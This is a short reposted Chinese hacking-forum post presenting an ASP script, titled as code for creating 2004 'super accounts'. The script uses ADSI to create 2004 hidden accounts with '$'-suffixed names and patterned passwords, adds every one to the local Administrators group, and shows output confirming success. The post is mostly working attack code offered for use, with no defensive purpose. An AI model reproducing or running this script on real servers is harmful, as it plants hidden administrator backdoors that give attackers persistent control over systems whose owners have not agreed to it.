[转载]建立2004个超级帐号的代码

[转载]建立2004个超级帐号的代码

来源：冰点论坛

作者： 蓝屏  



我没提升权限;真的;不知道他是怎么设置的:反正真的成功了;)你看:
<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
for i=1 to 2004
Set od=ob.Create("user","lp"&i&"$")
od.SetPassword "www.icehack"&i&".com"
od.SetInfo
Set of=GetObject(oz&"/lp"&i&"$,user")
oe.Add(of.ADsPath)
Next
Response.write "2004个超级帐号建立成功!"%>
结果:
Administrators
-----------------------------------------------------
Administrator
　
lp1$
lp2$
lp3$
lp4$
........
lp2003$
lp2004$ 2004个超级帐号建立成功!